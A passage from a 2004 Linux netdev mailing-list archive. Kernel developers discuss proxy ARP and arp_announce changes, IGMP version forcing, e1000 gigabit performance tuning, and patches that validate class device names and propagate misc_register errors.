ICAgICAgIDcKKworLyoKKyAqIExpbmUgQnVpbGQgT3V0CisgKi8KKyNkZWZpbmUgTEJPXzBkQiAg ICAgICAgICAgICAgMAorI2RlZmluZSBMQk9fN2RCNSAgICAgICAgICAgICAxCisjZGVmaW5lIExC T18xNWRCICAgICAgICAgICAgIDIKKyNkZWZpbmUgTEJPXzIy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yNkZWZpbmUg UENJX0RFVklDRV9JRF9GQVJTSVRFX1RFMUMgICAgICAweDE2MTIKKwogI2RlZmluZSBQQ0lfVkVO RE9SX0lEX0FMVElNQQkJMHgxNzNiCiAjZGVmaW5lIFBDSV9ERVZJQ0VfSURfQUxUSU1BX0FDMTAw MAkweDAzZTgKICNkZWZpbmUgUENJX0RFVklDRV9JRF9BTFRJTUFfQUMxMDAxCTB4MDNlOQo= ------_=_NextPart_001_01C3F150.B8D990F9-- From hadi@cyberus.ca Thu Feb 12 07:44:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 07:44:19 -0800 (PST) Received: from tiger.cybersurf.com (tiger.cybersurf.com [209.197.145.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1CFiAKO032167 for ; Thu, 12 Feb 2004 07:44:10 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by tiger.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1CFDDI1027446 for ; Thu, 12 Feb 2004 08:13:13 -0700 Received: from [216.209.86.2] (helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1ArHiu-0005yQ-N8; Thu, 12 Feb 2004 09:21:48 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: <1076561326.1032.62.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076595707.1024.25.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Feb 2004 09:21:47 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3270 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hi Julian, On Thu, 2004-02-12 at 04:46, Julian Anastasov wrote: > > If you make another get it goes via fast path. > > The disappointing part is this feature has a lot of potential > > if it works "correctly" (imagine being able to populate route cache > > before packet arrives and not needing for packet to go via slow path). > > I'm not sure I understand your idea, may be you will try > it one day :) We can take this offline. > > I am indifferent about the above (and it may be complicating things). > > I'll have to test it first because it can reduce the > proxy_queue usage up to 3 times which can be desired in some > setups, we have linear search there. That would be great. If you can show a claer benefit, should be fine. > > Some of your features are fine except they may be a little extreme. > > Note, this code has been to work well for years, the minimalist > > approach to features would be the best approach. > > I hope it will continue to work but in a fair way :) Thats what i am hoping for. Sometimes i just dont touch code unnecessarily because it may have strange side effects; look at that tunnel problem posted yesterday for example - some change an inequality sign in the net sched code and ipip tunnels get affected. > ok, we are the final of this, I have prepared a change log: > > http://www.ssi.bg/~ja/tmp/CHANGES > > At this point I do not know how to optimize this patch and > all changes look valid to me. arp_proxy-2.6.2-1.diff is still the > latest version but I have to check the proxy_queue optimization. > To make the code more readable may we can move the (IN_DEV_FORWARD(in_dev)) > body at the end of arp_process. And I'll do more tests in the following > days. > > I know you prefer to live with the old behaviour. I'm not > sure if we reorder the old code it will look more readable while > supporting the main new features. And I'm not going to push this if > we do not have consensus on the implementation. Let me know if > you have a better version of this change. > Post the patch and i will test it in my environment and make sure it doesnt break anything here. My interest are two cases: default setup and proxy_delay being 0. cheers, jamal From kuznet@ms2.inr.ac.ru Thu Feb 12 11:37:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 11:38:08 -0800 (PST) Received: from yakov.inr.ac.ru ([194.67.69.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1CJbtKO020236 for ; Thu, 12 Feb 2004 11:37:58 -0800 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id WAA10800; Thu, 12 Feb 2004 22:37:38 +0300 From: kuznet@ms2.inr.ac.ru Message-Id: <200402121937.WAA10800@yakov.inr.ac.ru> Subject: Re: Change proxy_arp to respond only for valid neighbours To: ja@ssi.bg (Julian Anastasov) Date: Thu, 12 Feb 2004 22:37:38 +0300 (MSK) Cc: hadi@cyberus.ca, netdev@oss.sgi.com In-Reply-To: from "Julian Anastasov" at Feb 12, 2004 11:46:37 AM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3271 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! Joining the discussion too late, but let me to reformulate original Jamal's question in another way: are you aware that you relay _broadcast_ ARP requests doing the validation? I really like the idea, but this aspect bothers me a lot. Is it not storm unsafe? Look, earlier broadcasts on outgoing interface started only when a real unicast IP traffic was pending, so we were sure sender selected some single proxy router, now broadcasts will be sent by _all_ the routers. See? Alexey From ja@ssi.bg Thu Feb 12 15:47:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 15:47:52 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1CNlPKO031158 for ; Thu, 12 Feb 2004 15:47:38 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1CNoWEn003234; Fri, 13 Feb 2004 01:50:34 +0200 Date: Fri, 13 Feb 2004 01:50:32 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040211201656.4e4f708e.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211201656.4e4f708e.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3272 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Wed, 11 Feb 2004, David S. Miller wrote: > But I want the docs for the sysctl to talk about this. Something > simple like: > > + 1 - Try to avoid local addresses that are not in the target's > + subnet for this interface as far as we know. In some environments > + subnets may be active that this system is not aware of, thus this > + setting might cause problems in such cases. > > Tweak it however you wish, just get the idea/warning across. > > I'd also prefer if you at least lightly define what "best" source address > means in the context of arp_announce==2. I hope I explained them using my non-native english :) May be the info is not good enough and can be improved. This is against latest bk (there will be no conflict with the recently added flag): http://www.ssi.bg/~ja/arp_announce-2.6.2-4.diff Regards -- Julian Anastasov From ja@ssi.bg Thu Feb 12 16:32:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 16:32:22 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1D0W8KO003461 for ; Thu, 12 Feb 2004 16:32:16 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1D0Y5En003347; Fri, 13 Feb 2004 02:34:05 +0200 Date: Fri, 13 Feb 2004 02:34:05 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: kuznet@ms2.inr.ac.ru cc: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <200402121937.WAA10800@yakov.inr.ac.ru> Message-ID: References: <200402121937.WAA10800@yakov.inr.ac.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3273 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Thu, 12 Feb 2004 kuznet@ms2.inr.ac.ru wrote: > Joining the discussion too late, but let me to reformulate original > Jamal's question in another way: are you aware that you relay _broadcast_ > ARP requests doing the validation? Good question. It seems I misunderstood the goal of the delaying mechanism. > I really like the idea, but this aspect bothers me a lot. Is it not storm > unsafe? Look, earlier broadcasts on outgoing interface started only when > a real unicast IP traffic was pending, so we were sure sender selected some > single proxy router, now broadcasts will be sent by _all_ the routers. See? Yep, 3 broadcasts per router for one requests which is 3 times more than the current code sends in response to fake requests. I thought the delay is to lose the race with hosts with this IP but now I see it is implemented as random delay. But we never can guarantee that only one proxy router will serve the target IP - I see the nice effect of using all proxy routers in parallel from different senders. Any other hidden features? :) As for the proposed changes, any recommendations? May be the flag for the incoming interface as Jamal requested is already required if we still like to see these new features in the kernel and running in a safe environment? Or it is better to stay only with the current behaviour? > Alexey Regards -- Julian Anastasov From hibi665@oki.com Thu Feb 12 20:48:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 20:48:23 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1D4mHKO014721 for ; Thu, 12 Feb 2004 20:48:18 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id NAA08120 for ; Fri, 13 Feb 2004 13:48:11 +0900 Received: (qmail 15331 invoked from network); 13 Feb 2004 13:48:09 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 13 Feb 2004 13:48:09 +0900 Message-Id: <20040213135020.fd1564f%hibi665@oki.com> MIME-Version: 1.0 Date: Fri, 13 Feb 2004 13:50:20 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: David Stevens , davem@redhat.com, netdev@oss.sgi.com In-Reply-To: (Your message of "Tue, 27 Jan 2004 14:13:41 -0700") References: Subject: Re: sysctl variable to force IGMP version [PATCH] X-archive-position: 3274 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev On Tue, 27 Jan 2004 14:13:41 -0700 David Stevens wrote: > > Below is a patch that allows forcing of the IGMP version. The primary > use would be with an IGMP-snooping switch that doesn't grok IGMPv3 > packet formats and when there are no IGMPv2 or IGMPv1 multicast > routers on the network. By forcing the IGMP reports to version 2 (or > version 1, for really old switches), Linux would send reports that the > switch can understand for multicast forwarding to the port. > > +-DLS Do you have a plan to make a patch to force the MLD version? I think it is also helpful. Regards, Takashi Hibi From satyasrikanth2001@yahoo.com Fri Feb 13 02:38:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 02:38:39 -0800 (PST) Received: from web21110.mail.yahoo.com (web21110.mail.yahoo.com [216.136.227.112]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DAcJKO022949 for ; Fri, 13 Feb 2004 02:38:19 -0800 Message-ID: <20040213103818.55540.qmail@web21110.mail.yahoo.com> Received: from [203.200.95.130] by web21110.mail.yahoo.com via HTTP; Fri, 13 Feb 2004 02:38:18 PST Date: Fri, 13 Feb 2004 02:38:18 -0800 (PST) From: satya srikanth Subject: Re: gigabit ethernet To: "Xiaoliang \(David\) Wei" Cc: netdev@oss.sgi.com In-Reply-To: <402B48A8.3060800@caltech.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3275 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: satyasrikanth2001@yahoo.com Precedence: bulk X-list: netdev Sir, Thanks a lot for the reply. I have checked the CPU utilization. Its averaging around 50% and reaching 100% and some instances. I have also looked at the intel's document. First of all I could not understand why all my softirqs are going only to cpu0 when I have multiple processors. When I used 2.4.18- kernel, I didnt face this problem. Now I am using 2.4.20-8 smp. Intel says that e1000 does not use NAPI by default. But, I dont know why cpu0 is handling all softirqs while other processors are sitting idle. Also I found that number of interrupts are reasonable but number of packets per interrupt is averaging around 40 in my case. As my cpu is not able to handle all these in 1 jiffy(time_squeeze), I am reaching throttle count and thus drops. When I changed netdev_max_backlog to 300000 and rmem_default to 300000000 then I am able to handle all packets received by interface. Is it OK to have such a high values? My round trip propagation delay is <0.2 ms. But I could not understand how it would affect the performance. Please throw some light on this. regards, Satya --- "Xiaoliang (David) Wei" wrote: > Hi Satya, > > Did you check the CPU utilization? If you use > smaller packet size, > the interrupt rate may be a problem. > You can modulate the NIC's interrupt rate. See > the document for > details: > http://www.intel.com/support/network/adapter/1000/e1000.htm#parameters > > > Also, I assume the round trip propagation > delay for your > connections is very small (such as <10ms)? > > > -David > > satya srikanth wrote: > > Sir, > > I need some help from you. I am using 2 xeon(2 > > GHz) machines each with two processors running > linux > > 2.4.20-8smp kernel and having intel PRO/1000 > gigabit > > adapter NIC card(e1000 driver). I tried connecting > > both of them using a gigabit switch. I am getting > > gigabit speed only if I use my own TCP sockets > sending > > packets of size around 1400 bytes. If I send > packets > > of size around 500 bytes, I am getting maximum of > only > > 500 Mbps. I noticed that NIC is receiving all the > > packets but they are getting dropped in the > kernel. > > I tried changing the settings like > > netdev_max_backlog to 30000 and rmem_max, wmem_max > and > > txqueuelen, but of no use. Can you please suggest > some > > changes that I need to make to achieve this speed. > > (Like changing number of Rx interrupts, Tx > interrupts > > etc). Can you please suggest some other links > where I > > can get some useful information. Will linux router > > project LRP help me to achieve it. > > > > with regards, > > Satya Srikanth. > > > > > -- > ------------------------------------------------------ > Xiaoliang (David) Wei Graduate Student of > CS@Caltech > WWW: http://www.cs.caltech.edu/~weixl > ====================================================== > > __________________________________ Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online. http://taxes.yahoo.com/filing.html From tv@tv.debian.net Fri Feb 13 09:37:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 09:37:57 -0800 (PST) Received: from kiy.wanderer.org ([195.218.87.138]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DHbnKO016758 for ; Fri, 13 Feb 2004 09:37:54 -0800 Received: from tv.debian.net (dsl-VII-23.kotikaista.weppi.fi [80.74.199.23]) by kiy.wanderer.org (Postfix) with ESMTP id 5FB67538F5 for ; Fri, 13 Feb 2004 19:34:26 +0200 (EET) Message-ID: <402D0B57.30107@tv.debian.net> Date: Fri, 13 Feb 2004 19:37:27 +0200 From: Tommi Virtanen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: /sys/class/misc has entry net/tun Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3276 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tv@tv.debian.net Precedence: bulk X-list: netdev [0 tv@tao /sys/class/misc]$ uname -a Linux tao 2.6.2-rc2 #6 Mon Jan 26 10:54:50 EET 2004 i686 GNU/Linux [0 tv@tao /sys/class/misc]$ echo * intermezzo net/tun psaux rtc uinput [0 tv@tao /sys/class/misc]$ Seems like that's all because of this: static struct miscdevice tun_miscdev = { .minor = TUN_MINOR, .name = "net/tun", .fops = &tun_fops }; Name is apparently meant to be a filename, not a path. Don't know what should be done to it; maybe static struct miscdevice tun_miscdev = { .minor = TUN_MINOR, .name = "tun", .fops = &tun_fops, .devfs_name = "misc/net/tun", }; But I havent tried that out. I'd suggest this, to flush out all the problems. Later, it can be changed to return -EINVAL or BUG_ON. --- 1.26/drivers/char/misc.c Thu Jan 15 13:05:56 2004 +++ edited/misc.c Fri Feb 13 19:35:45 2004 @@ -212,6 +212,9 @@ int misc_register(struct miscdevice * misc) { struct miscdevice *c; + + if (misc->name && strchr(misc->name, '/')) + printk("%s: name contains slash when registering %s.\n", __func__, misc->name); down(&misc_sem); list_for_each_entry(c, &misc_list, list) { From shemminger@osdl.org Fri Feb 13 10:28:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 10:28:24 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DISAKO018847 for ; Fri, 13 Feb 2004 10:28:11 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1DIRtE00769; Fri, 13 Feb 2004 10:27:55 -0800 Date: Fri, 13 Feb 2004 10:27:55 -0800 From: Stephen Hemminger To: Tommi Virtanen , Greg KH Cc: Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [PATCH] don't allow / in class device names Message-Id: <20040213102755.27cf4fcd.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3277 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev > [0 tv@tao /sys/class/misc]$ uname -a > Linux tao 2.6.2-rc2 #6 Mon Jan 26 10:54:50 EET 2004 i686 GNU/Linux > [0 tv@tao /sys/class/misc]$ echo * > intermezzo net/tun psaux rtc uinput > [0 tv@tao /sys/class/misc]$ > > Seems like that's all because of this: > > static struct miscdevice tun_miscdev = { > .minor = TUN_MINOR, > .name = "net/tun", > .fops = &tun_fops > }; > > Name is apparently meant to be a filename, not a path. > Don't know what should be done to it; maybe > > static struct miscdevice tun_miscdev = { > .minor = TUN_MINOR, > .name = "tun", > .fops = &tun_fops, > .devfs_name = "misc/net/tun", > }; > > But I havent tried that out. > > I'd suggest this, to flush out all the problems. Later, > it can be changed to return -EINVAL or BUG_ON. > > --- 1.26/drivers/char/misc.c Thu Jan 15 13:05:56 2004 > +++ edited/misc.c Fri Feb 13 19:35:45 2004 > @@ -212,6 +212,9 @@ > int misc_register(struct miscdevice * misc) > { > struct miscdevice *c; > + > + if (misc->name && strchr(misc->name, '/')) > + printk("%s: name contains slash when registering %s.\n", __func__, misc->name); > > down(&misc_sem); > list_for_each_entry(c, &misc_list, list) { > Don't fix it just for misc_register, the fix needs to go into class_device. diff -Nru a/drivers/base/class.c b/drivers/base/class.c --- a/drivers/base/class.c Fri Feb 13 10:23:36 2004 +++ b/drivers/base/class.c Fri Feb 13 10:23:36 2004 @@ -281,7 +281,8 @@ int error; class_dev = class_device_get(class_dev); - if (!class_dev || !strlen(class_dev->class_id)) + if (!class_dev || !strlen(class_dev->class_id) + || strchr(class_dev->class_id, '/')) return -EINVAL; parent = class_get(class_dev->class); From dlstevens@us.ibm.com Fri Feb 13 10:32:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 10:32:23 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DIWFKO019298 for ; Fri, 13 Feb 2004 10:32:15 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1DIVxwX656956; Fri, 13 Feb 2004 13:31:59 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1DIVwxq129874; Fri, 13 Feb 2004 11:31:59 -0700 In-Reply-To: <20040213135020.fd1564f%hibi665@oki.com> Subject: Re: sysctl variable to force IGMP version [PATCH] To: Takashi Hibi Cc: davem@redhat.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 13 Feb 2004 10:31:54 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/13/2004 11:31:59 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4AADFF741F18f9e8a93df938690918c07BBE4AADFF741F1" Content-Disposition: inline X-archive-position: 3278 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4AADFF741F18f9e8a93df938690918c07BBE4AADFF741F1 Content-type: text/plain; charset=US-ASCII Takashi-san, > Do you have a plan to make a patch to force the MLD version? > I think it is also helpful. I didn't plan on it. Forcing IGMPv2 is needed for some switches that do IGMP snooping and don't understand IGMPv3, but I'm not aware of any switches that do MLD snooping. I'd hope even the IGMP-forcing sysctl would be unneeded within a couple years. It should be unnecessary already when a multicast router using IGMPv2 is present. Do you have a particular need for it for MLDv1? It's an easy patch, but if it doesn't solve any real problem, I'd say it shouldn't be done. +-DLS --0__=07BBE4AADFF741F18f9e8a93df938690918c07BBE4AADFF741F1 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi-san,

> Do you have a plan to make a patch to force the MLD version?
> I think it is also helpful.

I didn't plan on it. Forcing IGMPv2 is needed for some
switches that do IGMP snooping and don't understand IGMPv3, but
I'm not aware of any switches that do MLD snooping.
I'd hope even the IGMP-forcing sysctl would be unneeded
within a couple years. It should be unnecessary already when a
multicast router using IGMPv2 is present.

Do you have a particular need for it for MLDv1? It's an
easy patch, but if it doesn't solve any real problem, I'd say
it shouldn't be done.

+-DLS --0__=07BBE4AADFF741F18f9e8a93df938690918c07BBE4AADFF741F1-- From shemminger@osdl.org Fri Feb 13 11:21:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 11:21:20 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DJLBKO021133 for ; Fri, 13 Feb 2004 11:21:12 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1DJL0E10945; Fri, 13 Feb 2004 11:21:00 -0800 Date: Fri, 13 Feb 2004 11:21:00 -0800 From: Stephen Hemminger To: Tommi Virtanen , Greg KH Cc: Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [PATCH] propogate errors from misc_register to caller Message-Id: <20040213112100.4f42abc2@dell_ss3.pdx.osdl.net> In-Reply-To: <20040213102755.27cf4fcd.shemminger@osdl.org> References: <20040213102755.27cf4fcd.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3279 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev The patch to check for / in class_device is not enough. The misc_register function needs to check return value of the things it calls! diff -Nru a/drivers/char/misc.c b/drivers/char/misc.c --- a/drivers/char/misc.c Fri Feb 13 11:15:29 2004 +++ b/drivers/char/misc.c Fri Feb 13 11:15:29 2004 @@ -212,6 +212,9 @@ int misc_register(struct miscdevice * misc) { struct miscdevice *c; + struct class_device *class; + dev_t dev; + int err; down(&misc_sem); list_for_each_entry(c, &misc_list, list) { @@ -240,19 +243,30 @@ snprintf(misc->devfs_name, sizeof(misc->devfs_name), "misc/%s", misc->name); } + dev = MKDEV(MISC_MAJOR, misc->minor); - class_simple_device_add(misc_class, MKDEV(MISC_MAJOR, misc->minor), - misc->dev, misc->name); - devfs_mk_cdev(MKDEV(MISC_MAJOR, misc->minor), - S_IFCHR|S_IRUSR|S_IWUSR|S_IRGRP, misc->devfs_name); + class = class_simple_device_add(misc_class, dev, + misc->dev, misc->name); + if (IS_ERR(class)) { + err = PTR_ERR(class); + goto out; + } + + err = devfs_mk_cdev(dev, S_IFCHR|S_IRUSR|S_IWUSR|S_IRGRP, + misc->devfs_name); + if (err) { + class_simple_device_remove(dev); + goto out; + } /* * Add it to the front, so that later devices can "override" * earlier defaults */ list_add(&misc->list, &misc_list); + out: up(&misc_sem); - return 0; + return err; } /** From chengjin@cs.caltech.edu Fri Feb 13 11:36:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 11:36:56 -0800 (PST) Received: from swordfish.cs.caltech.edu (swordfish.cs.caltech.edu [131.215.44.124]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DJakKO021958 for ; Fri, 13 Feb 2004 11:36:46 -0800 Received: from fast2.cs.caltech.edu (fast2.cs.caltech.edu [131.215.45.55]) by swordfish.cs.caltech.edu (Postfix) with ESMTP id 1A2DCDF2D0; Fri, 13 Feb 2004 11:36:44 -0800 (PST) Received: by fast2.cs.caltech.edu (Postfix, from userid 20269) id 6FBCC1FF1C; Fri, 13 Feb 2004 11:36:41 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by fast2.cs.caltech.edu (Postfix) with ESMTP id A5BE2143639; Fri, 13 Feb 2004 11:36:41 -0800 (PST) Date: Fri, 13 Feb 2004 11:36:41 -0800 (PST) From: Cheng Jin To: satya srikanth Cc: "Xiaoliang (David) Wei" , "netdev@oss.sgi.com" Subject: Re: gigabit ethernet In-Reply-To: <20040213103818.55540.qmail@web21110.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3280 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chengjin@cs.caltech.edu Precedence: bulk X-list: netdev > I have checked the CPU utilization. Its averaging > around 50% and reaching 100% and some instances. I > have also looked at the intel's document. First of all > I could not understand why all my softirqs are going > only to cpu0 when I have multiple processors. When I I read somewhere that Intel SMP has cpu0 taking care of all the hardware interrupts, but I don't know about softirqs. I think all softirqs related to the GbE are handled by the same cpu. > used 2.4.18- kernel, I didnt face this problem. Now I > am using 2.4.20-8 smp. Intel says that e1000 does not > use NAPI by default. But, I dont know why cpu0 is > handling all softirqs while other processors are > sitting idle. NAPI for e1000 is off by default, you have to explicitly enable it in the kernel config file (CONFIG_E1000_NAPI). > Also I found that number of interrupts are > reasonable but number of packets per interrupt is > averaging around 40 in my case. As my cpu is not able > to handle all these in 1 jiffy(time_squeeze), I am > reaching throttle count and thus drops. When I changed > netdev_max_backlog to 300000 and rmem_default to > 300000000 then I am able to handle all packets > received by interface. Is it OK to have such a high > values? What kind of processors do you have? I haven't tried pumping 1 Gbps using processors slower than 2.4G Xeons. But it sounds like you did get full utilization of the GbE card. Data traffic is about 80 pkts/ms, which translates into 40 pkts/ms for ack traffic, assuming that you are talking about acks above. rmem_default will only affect the TCP/socket layer. For the back2back test you described, the bandwidth delay product is small so increasing netdev_max_backlog queue to 300000 is unnecessary (although TCP reno will overflow that eventually if you wait long enough). I am not sure why you should see time squeeze with back2back tests... you can instrument the kernel to see how large snd_cwnd gets, and I suspect that you have slow processors... Also do the time squeeze happen during loss recovery---when ca_state is 3 or 4? > My round trip propagation delay is <0.2 ms. But I > could not understand how it would affect the > performance. Please throw some light on this. short rtts will help performance because reno recovers much faster, and linear increase doesnt take long to reach bandwidth delay product. Cheng From greg@kroah.com Fri Feb 13 12:34:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 12:35:03 -0800 (PST) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1DKYvKO026030 for ; Fri, 13 Feb 2004 12:34:57 -0800 Received: from [192.168.0.10] (c-67-171-168-97.client.comcast.net [67.171.168.97]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i1DKXwU01146; Fri, 13 Feb 2004 12:33:58 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1Ark1R-3ob-00; Fri, 13 Feb 2004 12:34:49 -0800 Date: Fri, 13 Feb 2004 12:34:49 -0800 From: Greg KH To: Stephen Hemminger Cc: Tommi Virtanen , Leann Ogasawara , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] don't allow / in class device names Message-ID: 